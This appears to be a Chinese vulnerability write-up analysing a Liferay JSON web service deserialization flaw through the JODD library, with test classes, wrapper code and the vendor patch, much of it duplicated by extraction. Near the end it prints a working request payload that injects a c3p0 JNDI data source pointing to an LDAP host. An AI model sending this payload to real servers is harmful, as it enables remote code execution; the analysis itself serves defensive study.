    }

    public HashMap&lt;String, String&gt; getHashMap() {
        System.out.println("TestObject getHashMap call");
        return hashMap;
    }

    public void setHashMap(HashMap&lt;String, String&gt; hashMap) {
        System.out.println("TestObject setHashMap call");
        this.hashMap = hashMap;
    }

    @Override
    public String toString() {
        return "TestObject{" +
                "name='" + name + '\'' +
                ", object=" + object +
                ", hashMap=" + hashMap +
                '}';
    }
}

package com.longofo;

import java.util.HashMap;

public class TestObject {

private String name;

private Object object;

private HashMap<String, String> hashMap;

public TestObject() {

System.out.println("TestObject default constractor call");

}

public String getName() {

System.out.println("TestObject getName call");

return name;

}

public void setName(String name) {

System.out.println("TestObject setName call");

this.name = name;

}

public Object getObject() {

System.out.println("TestObject getObject call");

return object;

}

public void setObject(Object object) {

System.out.println("TestObject setObject call");

this.object = object;

}

public HashMap<String, String> getHashMap() {

System.out.println("TestObject getHashMap call");

return hashMap;

}

public void setHashMap(HashMap<String, String> hashMap) {

System.out.println("TestObject setHashMap call");

this.hashMap = hashMap;

}

@Override

public String toString() {

return "TestObject{" +

"name='" + name + '\'' +

", object=" + object +

", hashMap=" + hashMap +

'}';

}

TestObject1.java

package com.longofo;

public class TestObject1 {
    private String jndiName;

    public TestObject1() {
        System.out.println("TestObject1 default constractor call");
    }

    public String getJndiName() {
        System.out.println("TestObject1 getJndiName call");
        return jndiName;
    }

    public void setJndiName(String jndiName) {
        System.out.println("TestObject1 setJndiName call");
        this.jndiName = jndiName;
//        Context context = new InitialContext();
//        context.lookup(jndiName);
    }
}

package com.longofo;

public class TestObject1 {

private String jndiName;

public TestObject1() {

System.out.println("TestObject1 default constractor call");

}

public String getJndiName() {

System.out.println("TestObject1 getJndiName call");

return jndiName;

}

public void setJndiName(String jndiName) {

System.out.println("TestObject1 setJndiName call");

this.jndiName = jndiName;

// Context context = new InitialContext();

// context.lookup(jndiName);

}

Test.java

package com.longofo;

import jodd.json.JsonParser;
import jodd.json.JsonSerializer;

import java.util.HashMap;

public class Test {
    public static void main(String[] args) {
        System.out.println("test common usage");
        test1Common();

        System.out.println();
        System.out.println();

        System.out.println("test unsecurity usage");
        test2Unsecurity();
    }

    public static void test1Common() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap&lt;String, String&gt;();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
        System.out.println(dtestObject);
    }

    public static void test2Unsecurity() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap&lt;String, String&gt;();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
        System.out.println(dtestObject);
    }
}

package com.longofo;

import jodd.json.JsonParser;

import jodd.json.JsonSerializer;

import java.util.HashMap;

public class Test {

public static void main(String[] args) {

System.out.println("test common usage");

test1Common();

System.out.println();

System.out.println("test unsecurity usage");

test2Unsecurity();

}

public static void test1Common() {

TestObject1 testObject1 = new TestObject1();

testObject1.setJndiName("xxx");

HashMap hashMap = new HashMap<String, String>();

hashMap.put("aaa", "bbb");

TestObject testObject = new TestObject();

testObject.setName("ccc");

testObject.setObject(testObject1);

testObject.setHashMap(hashMap);

JsonSerializer jsonSerializer = new JsonSerializer();

String json = jsonSerializer.deep(true).serialize(testObject);

System.out.println(json);

System.out.println("----------------------------------------");

JsonParser jsonParser = new JsonParser();

TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);

System.out.println(dtestObject);

}

public static void test2Unsecurity() {

TestObject1 testObject1 = new TestObject1();

testObject1.setJndiName("xxx");

HashMap hashMap = new HashMap<String, String>();

hashMap.put("aaa", "bbb");

TestObject testObject = new TestObject();

testObject.setName("ccc");

testObject.setObject(testObject1);

testObject.setHashMap(hashMap);

JsonSerializer jsonSerializer = new JsonSerializer();

String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);

System.out.println(json);

System.out.println("----------------------------------------");

JsonParser jsonParser = new JsonParser();

TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);

System.out.println(dtestObject);

}

输出：

test common usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}
----------------------------------------
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}


test unsecurity usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}
----------------------------------------
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

test common usage

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setName call

TestObject setObject call

TestObject setHashMap call

TestObject getHashMap call

TestObject getName call

TestObject getObject call

TestObject1 getJndiName call

{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}

----------------------------------------

TestObject default constractor call

TestObject setHashMap call

TestObject setName call

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject setObject call

TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}

test unsecurity usage

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setName call

TestObject setObject call

TestObject setHashMap call

TestObject getHashMap call

TestObject getName call

TestObject getObject call

TestObject1 getJndiName call

{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}

----------------------------------------

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setHashMap call

TestObject setName call

TestObject setObject call

TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

Liferay对JODD的包装

Liferay没有直接使用JODD进行处理，而是重新包装了JODD一些功能。代码不长，所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。

JSONSerializerImpl

Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类：

public class JSONSerializerImpl implements JSONSerializer {
    private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置

    public JSONSerializerImpl() {
        if (JavaDetector.isIBM()) {//探测JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
        }

        this._jsonSerializer = new JsonSerializer();
    }

    public JSONSerializerImpl exclude(String... fields) {
        this._jsonSerializer.exclude(fields);//排除某个field不序列化
        return this;
    }

    public JSONSerializerImpl include(String... fields) {
        this._jsonSerializer.include(fields);//包含某个field进行序列化
        return this;
    }

    public String serialize(Object target) {
        return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化
    }

    public String serializeDeep(Object target) {
        JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型
        return jsonSerializer.serialize(target);
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class&lt;?&gt; type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）
        TypeJsonSerializer&lt;?&gt; typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
        TypeJsonSerializer&lt;?&gt; typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    static {
        //全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理
        JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
        JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
    }

    private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer&lt;Long&gt; {
        private LongToStringTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, Long value) {
            jsonContext.writeString(String.valueOf(value));
        }
    }

    private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer&lt;JSONObject&gt; {
        private JSONObjectTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
            jsonContext.write(jsonObject.toString());
        }
    }

    private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer&lt;JSONArray&gt; {
        private JSONArrayTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
            jsonContext.write(jsonArray.toString());
        }
    }
}

public class JSONSerializerImpl implements JSONSerializer {

private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置

public JSONSerializerImpl() {

if (JavaDetector.isIBM()) {//探测JDK

SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关

}

this._jsonSerializer = new JsonSerializer();

}

public JSONSerializerImpl exclude(String... fields) {

this._jsonSerializer.exclude(fields);//排除某个field不序列化

return this;

}

public JSONSerializerImpl include(String... fields) {

this._jsonSerializer.include(fields);//包含某个field进行序列化

return this;

}

public String serialize(Object target) {

return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化

}

public String serializeDeep(Object target) {

JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型

return jsonSerializer.serialize(target);

}

TypeJsonSerializer<?> typeJsonSerializer = null;

if (jsonTransformer instanceof TypeJsonSerializer) {

typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;

} else {

typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);

}

this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);

return this;

}

public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {

TypeJsonSerializer<?> typeJsonSerializer = null;

if (jsonTransformer instanceof TypeJsonSerializer) {

typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;

} else {

typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);

}

this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);

return this;

}

static {

//全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理

JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());

JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());

JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());

JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());

}

private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {

private LongToStringTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, Long value) {

jsonContext.writeString(String.valueOf(value));

}

private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {

private JSONObjectTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, JSONObject jsonObject) {

jsonContext.write(jsonObject.toString());

}

private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {

private JSONArrayTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, JSONArray jsonArray) {

jsonContext.write(jsonArray.toString());

}

能看出就是设置了JODD JsonSerializer在序列化时的一些功能。

JSONDeserializerImpl

Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类：

public class JSONDeserializerImpl&lt;T&gt; implements JSONDeserializer&lt;T&gt; {
    private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置

    public JSONDeserializerImpl() {
        if (JavaDetector.isIBM()) {//探测JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
        }

        this._jsonDeserializer = new PortalJsonParser();
    }

    public T deserialize(String input) {
        return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化
    }

    public T deserialize(String input, Class&lt;T&gt; targetType) {
        return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）
    }

    public &lt;K, V&gt; JSONDeserializer&lt;T&gt; transform(JSONDeserializerTransformer&lt;K, V&gt; jsonDeserializerTransformer, String field) {//反序列化时使用的转换器
        ValueConverter&lt;K, V&gt; valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
        this._jsonDeserializer.use(field, valueConverter);
        return this;
    }

    public JSONDeserializer&lt;T&gt; use(String path, Class&lt;?&gt; clazz) {
        this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的
        return this;
    }
}

public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {

private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置

public JSONDeserializerImpl() {

if (JavaDetector.isIBM()) {//探测JDK

SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关

}

this._jsonDeserializer = new PortalJsonParser();

}

public T deserialize(String input) {

return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化

}

public T deserialize(String input, Class<T> targetType) {

return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）

}

public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器

ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);

this._jsonDeserializer.use(field, valueConverter);

return this;

}

public JSONDeserializer<T> use(String path, Class<?> clazz) {

this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的

return this;

}

能看出也是设置了JODD JsonParser在反序列化时的一些功能。

Liferay 漏洞分析

Liferay在/api/jsonws API提供了几百个可以调用的Webservice，负责处理的该API的Servlet也直接在web.xml中进行了配置：

随意点一个方法看看：

cmd={"/announcementsdelivery/update-delivery":{}}&amp;p_auth=cqUjvUKs&amp;formDate=1585293659009&amp;userId=11&amp;type=11&amp;email=true&amp;sms=true

1	cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成：

通过上面的分析与作者的文章，我们能知道以下几点：

Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
参数可以以+开头，用:指定参数类型
JODD JsonParse会调用类的默认构造方法，以及field对应的setter方法

Payload如下：

cmd={"/expandocolumn/add-column":{}}&amp;p_auth=Gyr2NhlX&amp;formDate=1585307550388&amp;tableId=1&amp;name=1&amp;type=1&amp;+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

1	cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

解析出了参数类型，并进行参数对象反序列化，最后到达了jndi查询：

补丁分析

Liferay补丁增加了类型校验，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中：

private void _checkTypeIsAssignable(int argumentPos, Class&lt;?&gt; targetClass, Class&lt;?&gt; parameterType) {
        String parameterTypeName = parameterType.getName();
        if (parameterTypeName.contains("com.liferay") &amp;&amp; parameterTypeName.contains("Util")) {//含有com.liferay与Util非法
            throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
        } else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验
            if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类
                throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
            } else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验
                if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验
                    if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
                        ServiceReference&lt;Object&gt;[] serviceReferences = _serviceTracker.getServiceReferences();
                        if (serviceReferences != null) {
                            String key = "jsonws.web.service.parameter.type.whitelist.class.names";
                            ServiceReference[] var7 = serviceReferences;
                            int var8 = serviceReferences.length;

                            for(int var9 = 0; var9 &lt; var8; ++var9) {
                                ServiceReference&lt;Object&gt; serviceReference = var7[var9];
                                List&lt;String&gt; whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
                                if (whitelistedClassNames.contains(parameterTypeName)) {
                                    return;
                                }
                            }
                        }

                        throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
                    }
                }
            }
        }
    }